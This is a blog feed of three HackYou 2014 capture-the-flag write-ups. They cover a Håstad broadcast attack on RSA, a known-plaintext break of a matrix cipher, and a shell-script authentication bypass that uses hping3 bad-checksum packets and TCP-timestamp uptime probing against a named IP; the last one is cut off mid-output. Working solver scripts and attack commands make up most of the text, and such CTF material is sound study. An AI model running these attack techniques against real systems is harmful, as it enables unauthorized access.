codezen.fr http://codezen.fr code hacking, zen coding Wed, 15 Jan 2014 23:32:56 +0000 en-US hourly 1 http://wordpress.org/?v=4.2.2 HackYou 2014 – Crypto 400 – CRYPTONET http://codezen.fr/2014/01/16/hackyou-2014-crypto-400-cryptonet/ http://codezen.fr/2014/01/16/hackyou-2014-crypto-400-cryptonet/#comments Wed, 15 Jan 2014 23:30:33 +0000 http://codezen.fr/?p=510 We have intercepted communication in a private network. It is used a strange protocol based on RSA cryptosystem. Can you still prove that it is not secure enough and get the flag? We have a pcap files with multiples TCP sessions and a python script: #!/usr/bin/python import sys import struct import zlib import socket class […]

The post HackYou 2014 – Crypto 400 – CRYPTONET appeared first on codezen.fr.

]]>
We have intercepted communication in a private network.
It is used a strange protocol based on RSA cryptosystem.

Can you still prove that it is not secure enough and get the flag?

We have a pcap files with multiples TCP sessions and a python script:

#!/usr/bin/python
import sys
import struct
import zlib
import socket

class Client:
  def __init__(self, ip):
    #init
    self.ip = ip
    self.port = 0x1337
    #connect
    self.conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.conn.connect((self.ip, self.port))
    #recieve e
    self.e = self.Recv()
    #recieve n
    self.n = self.Recv()
    self.e, self.n = int(self.e), int(self.n)

  def Recv(self):
    #unpack data
    length = struct.unpack('!H', self.conn.recv(2))
    data = zlib.decompress(self.conn.recv(length[0]))
    return data

  def Pack(self, data):
    #compress data
    data = zlib.compress('%s' % data)
    length = struct.pack('!H', len(data))
    return '%s%s' % (length, data)

  def Send(self, msg):
    #send message
    msg = int(msg.encode('hex'),16)
    assert(msg < self.n)
    msg = pow(msg, self.e, self.n)
    self.conn.send(self.Pack(msg))
    print '[+] Message send'

  def __del__(self):
    #close connection
    self.conn.close()

if len(sys.argv) != 2:
  print 'Usage: %s <ip>' % sys.argv[0]
  sys.exit(0)

flag = open('message.txt').readline()
test = Client(sys.argv[1])
test.Send(flag)

This is Textbook RSA and the tcp sessions are the same message being broadcasted by Alice to many Bobs, each Bob using a different public key (N)

This a classic example of the Håstad's Broadcast Attack on RSA.

Solution reusing parts of Christoph Egger's RuCTFe nsaless service write-up:

from struct import pack,unpack
import zlib
import gmpy

def my_parse_number(number):
    string = "%x" % number
    #if len(string) != 64:
    #    return ""
    erg = []
    while string != '':
        erg = erg + [chr(int(string[:2], 16))]
        string = string[2:]
    return ''.join(erg)

def extended_gcd(a, b):
    x,y = 0, 1
    lastx, lasty = 1, 0

    while b:
        a, (q, b) = b, divmod(a,b)
        x, lastx = lastx-q*x, x
        y, lasty = lasty-q*y, y

    return (lastx, lasty, a)

def chinese_remainder_theorem(items):
  N = 1
  for a, n in items:
    N *= n

  result = 0
  for a, n in items:
    m = N/n
    r, s, d = extended_gcd(n, m)
    if d != 1:
      raise "Input not pairwise co-prime"
    result += a*s*m

  return result % N, N

sessions = [
    ['192.168.001.005.33023','192.168.001.017.04919'],
    ['192.168.001.005.34806','192.168.001.021.04919'],
    ['192.168.001.005.35157','192.168.001.024.04919'],
    ['192.168.001.005.35915','192.168.001.027.04919'],
    ['192.168.001.005.37126','192.168.001.023.04919'],
    ['192.168.001.005.37754','192.168.001.020.04919'],
    ['192.168.001.005.39425','192.168.001.025.04919'],
    ['192.168.001.005.40439','192.168.001.011.04919'],
    ['192.168.001.005.41260','192.168.001.010.04919'],
    ['192.168.001.005.42465','192.168.001.028.04919'],
    ['192.168.001.005.42767','192.168.001.019.04919'],
    ['192.168.001.005.51710','192.168.001.018.04919'],
    ['192.168.001.005.52037','192.168.001.016.04919'],
    ['192.168.001.005.53328','192.168.001.012.04919'],
    ['192.168.001.005.54629','192.168.001.022.04919'],
    ['192.168.001.005.56537','192.168.001.015.04919'],
    ['192.168.001.005.56717','192.168.001.014.04919'],
    ['192.168.001.005.57646','192.168.001.013.04919'],
    ['192.168.001.005.59891','192.168.001.026.04919'],
]

data = []

for session in sessions:
    (source, destination) = session
    print source, destination
    message = open(source + "-" + destination, "rb").read()
    handshake = open(destination + "-" + source, "rb").read()

    buff = handshake

    length = unpack('!H', buff[0:2])[0]
    try:
        e = int(zlib.decompress(buff[2:2+length]))
        print "e=", e
    except:
        print "Zlib error for e"

    buff = buff[2+length:]

    length = unpack('!H', buff[0:2])[0]
    try:
        n = int(zlib.decompress(buff[2:2+length]))
        print "n=", n
    except:
        print "Zlib error for n"

    buff = message

    length = unpack('!H', buff[0:2])[0]
    try:
        msg = int(zlib.decompress(buff[2:2+length]))
        print "msg=", msg
    except:
        print "Zlib error for msg"

    data = data + [(msg, n)]

    print "-" * 80

print "Please wait, performing CRT"
x, n = chinese_remainder_theorem(data)
realnum = gmpy.mpz(x).root(e)[0].digits()
print my_parse_number(int(realnum))

Output:

$ python crypto400.py
192.168.001.005.33023 192.168.001.017.04919
e= 17
n= 25492165341402870943193342194243878583550091830588300179983190484677536677783878770091771426745020581968485223806403482688708690916599646206863308796421682192123291604607235755107364431209342465647517951497018019170871611821471577647494718032136027446239385000016582048814012025961200909864909126220898470337474181564969111740549293849528764155308076160637626891491670481790680054394999454113154731685789729310781453533838696397873008408145290785550608424077599753426457559997966726766077860415133627965054965186926286998932683118114065698789972581403018027054849591593302510627959868541308908688742433116746685957413
msg= 6666419060534882063445608631701254352058920974421822069727027885698959797948070412066328188514278918986722361742912500893728424745043197562231410354633167915385978833339701529722766937863212423943888214894271923064950171580353934178748023608466389268996754295631668202047874774966518214639701079489902676101992190471567121772228753020078695924075081945558620706927179092603126041395606016633822502612954885417984184184737630487502072507997213412593690188577996870365218951232207636278621674542750965270226225337180320970384418820119666789283194398074172939976925377054214851752639573115850958399373724855553234690869
--------------------------------------------------------------------------------
192.168.001.005.34806 192.168.001.021.04919
e= 17
n= 21127940129465859529449290710465142401626099761120448822896227957140612250511186166751154941578458258054285578274511450860570540828102070111370941358023009904308008795394643585864471986075987747216086746123427597776886622933600026324537947907678164739969468650427560672262831484437166952755098875024996456298734488381416586155715216067643259554486571154930556222002298362539331180176023831109425436177078457326927485711697356496728959762158514131974253928871967648747022232011642161107225163919743383709749413596786170516661129884422397760268997322898954161891328103774133077184028190158020665184081778231669390621447
msg= 3025342965063970983290961997148038673244905555308289391392896371605967574831912573039170667272658109340534212720805676884032065407092138739865486740854024452063900964324730683963944994250537553102328024132087660954040726648939149676030355851576763910670469390583200661923104138267998714166483656478619852365437776250801008285867722681155855008497404084448836122553221951674607943082229713841396761939215145379881979676835537964953725808825354819362797503568722134701601966504482232887162578922823026182148541889898696868501626860530484834082878781257554947276873624962134091380186322272011345017295000538738940807566
--------------------------------------------------------------------------------
192.168.001.005.35157 192.168.001.024.04919
e= 17
n= 22563350736629808264395772922819808510705484822245634475903533464108273973359621048788502042378085143059458230242646589967392945320090987067961491654357416853755261074531634683509015394347409817614889849143844247148479574777870355411207636748917532445668322051861338052906797819332259215278552079454184458015646487703430124222965707626399501332317111449272813630361908462924849723439803107908568327484445685641242797481816740336203447956828486867818411976997494338407256234593013250778655132122780432402623365698921928370817670245911505312288465537126236680323692662919137486755722237256218345361985595174086335811073
msg= 20135971165126329834498721501784512951499984648652660104821647741072871489936836442504197592142991669369919035304425516258391511301425226375564892415339365148509645261565560913559856659645387805198871549146172257882053281268795760344994001608956789940307816388486468042693545041073838774812997395437209060397149458050765177205158052575861667488415782153713633691372314235926019032628836133660245109281683465499593548858659962576728675714563027957143405441096816687188373864658407934159173393698714390810577718268693096568336071207238450039773940104963444157704166286892082172461258702049072827677476706096904316460964
--------------------------------------------------------------------------------
192.168.001.005.35915 192.168.001.027.04919
e= 17
n= 19697677554331221267369641184167188448335213481430897452143918418367154993523756864868509098839783053011355139590418269119504715550443490754762988015861768839038067134509092125205376509678043881070558825637905431885254727168679069330416776166369184375970521838169214107508952264240335498312849019213361951991190975616614804433716772411184993774461040690673753098373736933084616647869336141707774024488317582512216162403209135110515778522772939206567850540704356683976987508523230996026019768603629874558741038975853009975048175519392495212857366577161641687502674304846608725983145033337187267988999492371626182417551
msg= 14300174742950957133230867352717457897986205104543265825218842008467109972830138620119291505539500355334723376879888409251809364632635010202950500050892997355318105884900306620239365641681252935777362167024611054220484107153146560621083009306565476636270883588514007454668850327310521718849400741849368048026759782889674614052640379573508042637071620721869972662416840328750772187247907576009995766111841008793044576343182936834713229276992314777759684829492003814595802694592792453101320053268786720734738162720052909591108493186651733642823133001888727983206566194875945734575411295063088173363528901413605439659186
--------------------------------------------------------------------------------
192.168.001.005.37126 192.168.001.023.04919
e= 17
n= 22840174333461757597258965063503187552495604936013453813620970124752854692025931772152482715744058240571638175460349150353012889988723597821978579743499713766809084692254297539180932689148176677208822562008650864838388158004011554059006621226560748426334342736035675518932164604927602370423087532589029111052023317750367568915149473019058579728528211621618516222534404936592529521724927756742450435643292165615017136698859157488474841102297647488008004924900405006989945846311096537399030509947027554824768198503677139485403433484337602107191422279674605462427176871354240310242684337649527314815937448142118014471869
msg= 7269879938285087105060326068602691458154834670489063661854932312114567012381462325708324462473335735747751985833951832304054546004436096189761282474552769255043106817537407079708725883409397856635437608590617899532129476884853580275762892523609169600551500977086971018619327642914168273376084417345670925345416864822282780628646416374712921155883117431305185117831110048721693951865267141962666069350614792416053836803149161735632213430960384988586996269807413280397202373128437527421378900814241234271529460443131737298476049472736692048979564047934967259654010923397531158463241672904787724046355796318156683211693
--------------------------------------------------------------------------------
192.168.001.005.37754 192.168.001.020.04919
e= 17
n= 26181530231990596208912553982832841408036769882768643576772592303571004331051012292548525104394717484252349998434031623438917061404178468743247357634872314865905132523154238118481540371615056806756673945897771283881615017345596477766231957968854622033499073650939380455320632540323169565251694316300843433445667057555206872698949047971459662093473609973167299463621536822302820363096764742010575821082948519766535657152613824870739004432505303862201505469354785224205708777422229564239113870271947768783809029625932248575272642464554827073657622048405963388795704112995209429712517330431946725366254154641804680636843
msg= 6596498503473090384156122948918457693225694527543771961484972133896304927525029433085731957072789891646290597692421323936231128201822432631159176346646447011338805190482179145913035869942714613486895588754112366313438192851954663748505238329830016450238817308208066971617432717047936473721490905750275563930145038394216747562079905090073621918898708464447477835510214346908545028865672847041949340101722558962541612836311085196500521238354347015877914823677634283521373575663416167402249149782097385550791425270622816978948552969790013217066937461634555711434991830871731594480554761087920979267051612013063691897091
--------------------------------------------------------------------------------
192.168.001.005.39425 192.168.001.025.04919
e= 17
n= 18375116136153390105382127878395045588105857107246922094470216545244337357987681718168448429849698069981688291927806366721855289976121993055091218569849787514394507275481429728206429948836923251296672175100798033529862498578044854162615314211321712132747044363074981129056925717085204066189560133707352709019771792017200539059204024262019592851381317279368957556414371834469907989489823310736060223258994989400405121984031058976855896631117913090748375198718936570595983429517914008170697730495897896134771484309035561040862223201385431761693343426402858632921946359721016131084165400212811848077899966364178485645209
msg= 14450411368079644952604705871870024872670263251365527266862703716230778731191117713744962010138824834514424908701300856449356388617430510950535877723758382120583446269291649779277478125202353436896123871466945681583403794725306243733343462009791759823657466902546992816090954580754519785729524996046358307197773786618439603452776474869740548426942373102466687002398105444228516302695737600836706505822006007382861266883167162032588362091247091029707841718663522787461434574458986841049123553142254769053444081497788062775004085437066317446657655214417638414799100287660747244854718117257942197065271633812453504802118
--------------------------------------------------------------------------------
192.168.001.005.40439 192.168.001.011.04919
e= 17
n= 18856599160001833299560082802925753595735945621023660831294740454109973698430284916320395522883536507135735383517926050963512440162483065097256884040938259092582892259657340825971260278387406398529168309426241530551396056450450728728601248269612166083300938497235910244979946020059799495231539400114422748104072550004260736766137354572252872437140063474603268146956570787143010441293268321641092743010805639953103578977668248726500636191043930770036787317928372179939360510179438436665591755940224156131460271763912868322774604558314812111335691108887319827579162188169744014973478052491398688611046800951698773893393
msg= 9537600333774561965347809713893729543607050845183365456822389928272539309054686047543168922742589173859871008938711574330675462024831693796734766356934966684018899382045308313458440052017835494802986355673813464215184924837019853399388984893499187144821922554214143314640377079505897680854314880035458832414257859211958802973880776732222536460326269825765449639225220135735729106020282618914111685220841901015367575108920943148006106714487046602965253293770388951872741849791157534395777330833976209975828865170184061768114280467192574451716204110866562270737220078456700440400847759035001437357717203367869014507886
--------------------------------------------------------------------------------
192.168.001.005.41260 192.168.001.010.04919
e= 17
n= 27658060678038715780470429570597987144542213875178081185638364125349217264266787337266356239252353691015124430930507236433817624156361120645134956689683794554169169254645287613480048966030722812191823753459580311585866523664171185580520752591976764843551787247552790540802105791272457516072210641470817920157370947681970410336005860197552073763981521526496955541778866864446616347452950889748333309771690509856724643918258831575902389005661750464296924818808365029037591660424882588976607197196824985084365272217072807601787578262208488572448451271800547820717066767396857464594301327160705353075064322975430897551911
msg= 11433488612991990768536086698965180146550356348457563234735402111134701115830423042016221831657484325065472609147436229496479358788735270448637824809543880271526735635196884978639585020518147152207002685868984199742884443523231593245377292570809368330956970290791633106067116466080014631110596564728982066569618319541351401820732547227122970369299780366876340403436785218211729531092484723580223801525992510782266856454394478372421830988205823368541860973674259795969870252832216828042174346473447490557323038031625277043161510854825069681462499200978561823301487118145650943076528233694749306585201212677836363102350
--------------------------------------------------------------------------------
192.168.001.005.42465 192.168.001.028.04919
e= 17
n= 22946690762018202432990887189358840679847544298138130593179782494313283235656708793278294817370704179431587028797820098265221065047094111469387707851755805572030960917620048531944164128853858185996116085402185608208505862268300069081634690281361741089802822427014733500818400628218120217701065238981427409232531524810373504821405505784194458324112411450898914981925380408035843501140943840375415504531028291728110941191868468403264579853022847273710668909241386840084506302813524686512443804790681324357699954553042087787664048340322301999798211625015533291431249576149925507273846582715275085720997988716732564925247
msg= 22114155655659890875804525321139229042160702983880183010190613534988342335473532979092956071940843014846115113869717993343361412775761899123003515398037548495421246487341345482541093940292149812612966738017954607042366694074210348507360409383994155996445275183175086308877643260816760841714256410898269814908129813108551478627448054932601176813323889809069498060147451905095827442175810001123067159848367040168783825044279052630935945891964134230385303127654483691228319146427451587693985548002268250053416426728753739573823133295951972853182187229046285977320129680613905801285437766686995325893960172376926445625122
--------------------------------------------------------------------------------
192.168.001.005.42767 192.168.001.019.04919
e= 17
n= 24196427886175544349183151853220199349004334700026598710073455177858086301574503667298550711896472441115488666905450709605686892168468755356865839253905196330957826522203721667534054840325504585224175556167326100374628995111103938603447308160978852917872087343333848311844292367100647648063686677699135973596041567307784602998888789211145238333237613511049640509935260207585999606022736214748154785163367146044878537220691272581381812904389596150391959046627047758159235384420979630615278721284429066540058110867810807414175942667916940934372027878979861244401198531405584211810881235860988295519048177492135610751359
msg= 22296229997452473240404864600165019763565238056149885081619043661295445875270023158334098350603026725837611396891344057244652143898149482532106315521575872089742565470821567522946361662445964027209388657746191967435348044945947483621482721538186361050633595041353278781238956486769506373730884495108039610798833232749139421109269053404110580969203157360738738757856465985684697862079893042321411866940484105462672034009048091117594209570962168395344960105313171255329582011213721766675322731331965794652525786585751148977132545042466983433106614477836969990881581169493890539450115893703987635774477858244270608426284
--------------------------------------------------------------------------------
192.168.001.005.51710 192.168.001.018.04919
e= 17
n= 24360507764722702236982664735328841420311376027120399241078325497875531961885056309904114723678048613901842270612025644417215018351512175660269184968149109110209563435463873211914594529847294730496535258882010197028842516927468678843924092706088182566726725380495130934316582041447010080540555792802432876873205758297773353354773400601269072565235285553745651262991130015382601486699000167692446155692416347390954126585612460075052988874628884097103408004610717498543307677173210168954439627061348158046928463114067813191846253937179490050784167037265795606665046543869952157800016132040847485597002954075447344679099
msg= 2091608690891505258645949208946395204695041893228619053197065370886625848151228416356718762070352835427065857428605476603762875777761221509564315249418937215791628816353819422446178413024109351330646491084678357651148045128554746141683169277567849074245394149157710582616155738686711539953583528181614701953172972027101545253676978964454897005216320952879719740377602813279137554307680715749682175447559417772077472349519490785782899751615833622828868651966927604858524345638792811839384317780948838203430577334783095834911402913673850996431719159112716370014509918436690080118494876223156361387987999829094801210890
--------------------------------------------------------------------------------
192.168.001.005.52037 192.168.001.016.04919
e= 17
n= 20991361604317638769781823650579915779070848318189821239839863416933546421097820271887796260918963289144354691357223973152195364244222103627141268032857145421152363842224398828703305592221616019678102879125957325674007444034541160527072712208844228077449624475289619712846717432293230773279322231288635231839457560272849165524911202814516841260722542666841002263011069065414760944278124011800036869640840312097012211808948108758865722731922057521488153991477824974687229720412552981052793827211890557079895492457992364345889589127536307112174252490433421772585442393590767593690124636778449673348970938028847369589017
msg= 1176089662945377859394485590647428302230902074038834532187683920441006896963622996580792552532208518328678256998366963208028743204946660302538358531574765644007432906847438011315702121691613005078019506672007476291213237939507650616659336489497035998458925997634519034425449883103272960672562772204663037400144823802245320606039938019714906919958257594477982151857672916895153818922550365638890064326384677879791487276278839159022778493427572161764299809764447703117493013786755368150005501909964140795978310287946809348754988288402304994584145696550845106776916203635572397815715801968943287729470010695704992513284
--------------------------------------------------------------------------------
192.168.001.005.53328 192.168.001.012.04919
e= 17
n= 23536517244565831304957548822169291652207666754083340160306298208076886665065064843803465469409961704414510544566548897045751559184520942970858445270483458341528037499088946028024476760938334724064432942414803725235245083424464022066205458380170453189950900307248048617678876232312945996520402058770976469558803007764420552804210174247648614671097046399148333316029580244153775977135880775921663886951776404864678251750085264792097984094013284691977749495264267344834078278955171634785277609298558886471141768976455150174601039402280137908104589898954351484608783306378026577123527889651575952772820003380025546341093
msg= 2787570158312133794000264568955228362505478580337508384369847495327630702109418180218855630800765419691714135680571469213835542379448821209732447589306506369895651911135089075762137873889141680195343215032414145506957429427948190720862478335515596644926205381293106417410261520242246013085300698437878525197927303400003852408888917470597700285690342597850461091636279688711415205788329646890595805415907084665612141657880165938739423616058100283432682214722969192114128403177592988697839575450529126584549296274365360257579336454484779207708578834457262472129009056129647722165160424055970728939468425924742795247404
--------------------------------------------------------------------------------
192.168.001.005.54629 192.168.001.022.04919
e= 17
n= 22418240669078782395650685709211154715963189697089263104799144782938556049238670824036504767273510569815649054522706833230147726835488621722481390416868271627116267103118088021697808807092496788890564153300558617457948161343658932652189856049810225397121264480931341652674373238956664385611007077903271999938666531870525476577337484325119704138317723687164049779101614572637615019989722168840820998326371954897496744184510021746784303032310300111064058399012572181069622479162656626630666689745901678446100898000876596201969536772169761074060718581442841244466714693693744538078059538322489346225247976911833748299831
msg= 12741916458848035965674277226994440579915129055105462698845221890770558867890065973150125863687106455321192524282688850919026924493363241183706112792662939894532011809709158105688708409813198696055548036573709488504352009446189240170056000380659861236761237694775468132858916502459186242385986053427650331045218524574666652583364331482577973877822911369427036861116411565934292335204172142173748941863013032301778764886328258476195697934305418334527182261876183838908107190767800857337092015153451318295610430683371731834190637342265695335154669307530426675001781782217407160875559782488264585128426108095378548497650
--------------------------------------------------------------------------------
192.168.001.005.56537 192.168.001.015.04919
e= 17
n= 23980852037830754961843810384842109198680213599160124627608485316452067979221814287579031744661623974638029208789156178351485676131492416093947908129410491693261731404401473508295054358751129977958761373804386612048163148740071525591509234298601816819182717519183021983010112798883286143566969631969002952806398266165159329990930567027893909276078886841121244401773915309649928992691723658667402744292184927500507621943557420540056270730461740897601661594495028880708798531876866777269713984635553934853524715534003465120928659881608776745499441872048908380726942161563974610455635903901327036597201663594811207962219
msg= 6500753041357449855790208700753809194331642408448330624975108109751859721113916040913210608530117147284032825775613945416295553599499663257233673509345038912634968979540222246220460441613513695959331196716737175735741187191935319073270722811433035516074289343637773607521789970734447289501012767670625043452129332667983332570596510412510389935486708833483704894688513193020406791505432203906745860054901025547265075193156070642716676601268698224891768784422675343094235950805128869705790800102590177489342374151286188584127528879203511712056047898651580309669143955726928687269246843562481439718815596302692298516533
--------------------------------------------------------------------------------
192.168.001.005.56717 192.168.001.014.04919
e= 17
n= 20692935323456318857339636506121661409781600706918188791579569287363925379425076174758120076604134447812506062875425652061813752876711066070389233324351070782264123950482732919402628782987702034544299244918439112034234610691454353578647793100554890386226509128280993176780063155185886470116528236906519407444238424523493151082789442134440461004320839591569157239343299865825958454617581990948186838151424941117137818356712476559230872711658730923799079308488965817006179693410669320825141974869847267757553830878658559853061666130127729833856270147578804267991192625989184535593836836877723580138193263333297569871679
msg= 3149880252209031344712912478150309339789690396685866282400905925814536568350616764434288908486968492252351255022161340923513529850192573780350157980373627989388396346845656970516353356298790654832486310492079962338672745285854665147406015543850517102001543987674241995267846019477920439984122318278402925428057397039652213642437095694526592410641576952281061504190238132151689288080423425867830015832927809704559212420233819682781217618789216812964682441589327621971863380979777355679805008775337364919278947618188598427198109821307637144473819840409743353235834034795849314936322245339378447572244022235758755318197
--------------------------------------------------------------------------------
192.168.001.005.57646 192.168.001.013.04919
e= 17
n= 22182114562385985868993176463839749402849876738564142471647983947408274900941377521795379832791801082248237432130658027011388009638587979450937703029168222842849801985646044116463703409531938580410511097238939431284352109949200312466658018635489121157805030775386698514705824737070792739967925773549468095396944503293347398507980924747059180705269064441084577177316227162712249300900490014519213102070911105044792363935553422311683947941027846793608299170467483012199132849683112640658915359398437290872795783350944147546342693285520002760411554647284259473777888584007026980376463757296179071968120796742375210877789
msg= 16279989825796156802547712583633798298339885806436476356497796047229021124610630851145390462136716298450342674217575569196543919171078736243934669612002081179432014315465408489156509075853163302037413161239227506465361288161349464334942343016752593577869091378915378775289174914088843177811858916838452126433042585745992994815140378356718198629815818784659700720051966660786554920296721138381405607252098516473395177368859057746002895683463397630717358844874557866924382768279446164993249061647243362602307728771126094369384362246840728274885512559106673543101063171808938427459691773785819336680808200730383909434687
--------------------------------------------------------------------------------
192.168.001.005.59891 192.168.001.026.04919
e= 17
n= 21996468204721630460566169654781925102402634427772676287751800587544894952838038401189546149401344752771866376882226876072201426041697882026653772987648569053238451992877808811034545463363146057879646485465730317977739706776287970278094261290398668538232727000322458605289913900919015380904209692398479885177984131014170652915222062267448446642158394150657058846328033404309210836219241651882903083719822769947131283541299760283547938795574020478852839044803553093825730447126796668238131579735916546235889726257184058908852902241422169929720898025622336508382492878690496154797198800699611812166851455110635853297883
msg= 18919626944919001746434424216626233185707755539125451453498872012547818089480281584466165481221804279035723497497262166426771134459922980759121024951390547522550510734782168869364945944106404378597344695227319394862905382593128694330512816879360904284025740295670026092938765777154761403682710878968080966485091090198109371223563090698724814081281842426885356314840392128767155541449360105460941384985904101420698734690361896580259169275867969219822351776569430617405034594385605780084981880407657528516176335362438505224655581522137130777263875034088903829280901936110414932437809315770012018024957989707333743935907
--------------------------------------------------------------------------------
Please wait, performing CRT
Secret message! CTF{336b2196a2932c399c0340bc41cd362d}

Share

The post HackYou 2014 – Crypto 400 – CRYPTONET appeared first on codezen.fr.

]]>
http://codezen.fr/2014/01/16/hackyou-2014-crypto-400-cryptonet/feed/ 0
HackYou 2014 – Crypto 300 – Do you like math? Write-up http://codezen.fr/2014/01/16/hackyou-2014-crypto-300-do-you-like-math-write-up/ http://codezen.fr/2014/01/16/hackyou-2014-crypto-300-do-you-like-math-write-up/#comments Wed, 15 Jan 2014 23:09:24 +0000 http://codezen.fr/?p=506 Do you like math? We have an encrypted flag.wmv.out file and this python script: #!/usr/bin/python import random from struct import pack def Str2matrix(s):   #convert string to 4x4 matrix   return [map(lambda x : ord(x), list(s[i:i+4])) for i in xrange(0, len(s), 4)] def Matrix2str(m):   #convert matrix to string   return ''.join(map(lambda x : ''.join(map(lambda […]

The post HackYou 2014 – Crypto 300 – Do you like math? Write-up appeared first on codezen.fr.

]]>

Do you like math?

We have an encrypted flag.wmv.out file and this python script:

#!/usr/bin/python
import random
from struct import pack

def Str2matrix(s):
  #convert string to 4x4 matrix
  return [map(lambda x : ord(x), list(s[i:i+4])) for i in xrange(0, len(s), 4)]

def Matrix2str(m):
  #convert matrix to string
  return ''.join(map(lambda x : ''.join(map(lambda y : pack('!H', y), x)), m))

def Generate(password):
  #generate key matrix
  random.seed(password)
  return [[random.randint(0,64) for i in xrange(4)] for j in xrange(4)]

def Multiply(A,B):
  #multiply two 4x4 matrix
  C = [[0 for i in xrange(4)] for j in xrange(4)]
  for i in xrange(4):
    for j in xrange(4):
      for k in xrange(4):
        C[i][j] += A[i][k] * B[k][j]
  return C

def Encrypt(fname):
  #encrypt file
  key = Generate('')
  data = open(fname, 'rb').read()
  length = pack('!I', len(data))
  while len(data) % 16 != 0:
    data += '\x00'
  out = open(fname + '.out', 'wb')
  out.write(length)
  for i in xrange(0, len(data), 16):
    cipher = Multiply(Str2matrix(data[i:i+16]), key)
    out.write(Matrix2str(cipher))
  out.close()

Encrypt('flag.wmv')

To solve this challenge, analyzing the WMV file type is important.

The header of a WMV (ASF container actually) starts with a well-know 16 bytes sequence: the header GUID

So we know 16 bytes of plaintext and 16 bytes of corresponding ciphertext : that's enough to calculate the key

C = K * X
K = X-1 * C
P = K-1 * C

Here is a script automating this:

#!/usr/bin/python
from struct import pack,unpack
from numpy.linalg import inv

def Str2matrix(s):
    #convert string to 4x4 matrix
    return [map(lambda x: ord(x), list(s[i:i + 4])) for i in xrange(0, len(s), 4)]

def Words2matrix(s):
    #convert words to 4x4 matrix
    return [map(lambda x: x, list(s[i:i + 4])) for i in xrange(0, len(s), 4)]

def Matrix2str(m):
    #convert matrix to string
    return ''.join(map(lambda x: ''.join(map(lambda y: pack('!B', (y+0.05) % 256), x)), m))

def Multiply(A, B):
    #multiply two 4x4 matrix
    C = [[0 for i in xrange(4)] for j in xrange(4)]
    for i in xrange(4):
        for j in xrange(4):
            for k in xrange(4):
                C[i][j] += A[i][k] * B[k][j]
    return C

def to_words(string):
    i=0
    data = []
    while i<len(string):
      h = string[i:i+2]
      data.append(unpack('!H', h)[0])
      i+=2
    return data

def Decrypt(fname):
    data = open(fname, 'rb').read()

    # WMV GUID header
    plain = Str2matrix("30 26 b2 75 8e 66 cf 11  a6 d9 00 aa 00 62 ce 6c".replace(" ", "").decode("hex"))
    cipher = Words2matrix(to_words(data[4:4 + 32]))

    inv_plain = inv(plain)
    print "inv plain=", repr(inv_plain)

    key = Multiply(inv_plain, cipher)
    print "key=", repr(key)

    inv_key = inv(key)
    print "inv_key=", repr(inv_key)

    out = open('flag.wmv', 'wb')
    for i in xrange(4, len(data) - 4, 32):
        cipher = Words2matrix(to_words(data[i:i + 32]))
        print "cipher=", repr(cipher)
        plain = Multiply(cipher, inv_key)
        print "plain=", repr(plain)
        out.write(Matrix2str(plain))
    out.close()

Decrypt('flag.wmv.out')

Share

The post HackYou 2014 – Crypto 300 – Do you like math? Write-up appeared first on codezen.fr.

]]>
http://codezen.fr/2014/01/16/hackyou-2014-crypto-300-do-you-like-math-write-up/feed/ 0
Hackyou 2014 – Net400 – gsmd.sh Write-up http://codezen.fr/2014/01/15/hackyou-2014-net400-gsmd-sh-write-up/ http://codezen.fr/2014/01/15/hackyou-2014-net400-gsmd-sh-write-up/#comments Wed, 15 Jan 2014 14:28:36 +0000 http://codezen.fr/?p=499 Welcome to Microsoft Security Assessment Lab. As far as we are concerned, you are once again applying for an information security job at our vacancy. Our policy has changed. We're not making our products secure anymore — we're now providing bugs to NSA. They have run out of their CYCLONE Hx9's GSM station emulators and […]

The post Hackyou 2014 – Net400 – gsmd.sh Write-up appeared first on codezen.fr.

]]>

Welcome to Microsoft Security Assessment Lab.
As far as we are concerned, you are once again applying for an information security job at our vacancy.
Our policy has changed. We're not making our products secure anymore — we're now providing bugs to NSA.
They have run out of their CYCLONE Hx9's GSM station emulators and had to switch to using real base stations for now.

As your test assignment, you are to take over the base station at
77.220.186.142:40000

Debug console: gsmd.sh

This challenge gives us a broken basestation firmware. We need to retrieve the file /home/flag.txt. The broken shell script has a vulnerability like this:

    echo -n "Auth token > "
    read token
    if [ "`gsmd_auth_check $token`" == 'AUTHED' ]; then
      ok=1
    fi

    filename=/home/flag.txt
   
    echo "Attempting to read arbitrary file"
    echo === $filename ===
   
    if [ $ok == 1 ]; then
      cat "$filename"
    fi

The check relies on a global "ok" variable and this variable is not initialized before starting the authentication check. If we can set it to ok=1 somewhere else in the script, we will get the flag.

Somewhere in the script is actually here:

      RND=$(dmesg | tail -100 | egrep -i '[^a-f0-9].[^\s\S]f' | egrep -B4 '\b[A-Z][^A-C][A-Z].\s\w' | rev | grep musk | rev | egrep -A7 $'\x3A\x20\x2E\x2E\x2E\x20' | egrep -w `echo -n GPRS | md5sum | head -c3` | tail -1)

      if [ "$RND" == '' ]; then
        echo "Nothing random happened in a while :-("
        exit -1
      fi
     
      challenge=`echo "$RND" | sha1sum`
      echo Challenge: $challenge
     
      echo -n "Response > "
      read response
     
      if [ "$response" == "`echo "$RND" | sha512sum`" ]; then
        ok=1
      fi

Basically, this function will search for "bad checksum" message in dmesg, take the last one and compute the sha1 of the string. To authenticate we need to send the sha512 of the same string.

Here is a sample dmesg entry that would qualify:

[6547042.852817] UDP: bad checksum. From 94.23.141.246:1337 to 77.220.186.142:40000 ulen 8

We can generate them with the hping tools easily:

$ sudo hping3 77.220.186.142 -c 10 -2 -s 1337 -p 40000 -k -b

We notice this line begin with the host uptime in the [seconds.nanoseconds] format. So we need to send a few broken UDP packets to the host to fill some lines in dmesg and then we need to guess the host's uptime. Using the host uptime, we can construct a string that will be exactly like the one in dmesg and compute the sha512.

This is a Network challenge so we will use TCP Timestamps to guess the host's uptime.

Hping to the rescue, we send 2 TCP packets 10 seconds apart with the TCP timestamps option set:

$ sudo hping3 --tcp-timestamp -S 77.220.186.142 -p 40000 -c 1; sleep 10; sudo hping3 --tcp-timestamp -S 77.220.186.142 -p 40000 -c 1
HPING 77.220.186.142 (eth0 77.220.186.142): S set, 40 headers + 0 data bytes
len=56 ip=77.220.186.142 ttl=56 DF id=0 sport=40000 flags=SA seq=0 win=14480 rtt=52.7 ms
  TCP timestamp: tcpts=1636688922

--- 77.220.186.142 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 52.7/52.7/52.7 ms
HPING 77.220.186.142 (eth0 77.220.186.142): S set, 40 headers + 0 data bytes
len=56 ip=77.220.186.142 ttl=56 DF id=0 sport=40000 flags=SA seq=0 win=14480 rtt=52.7 ms
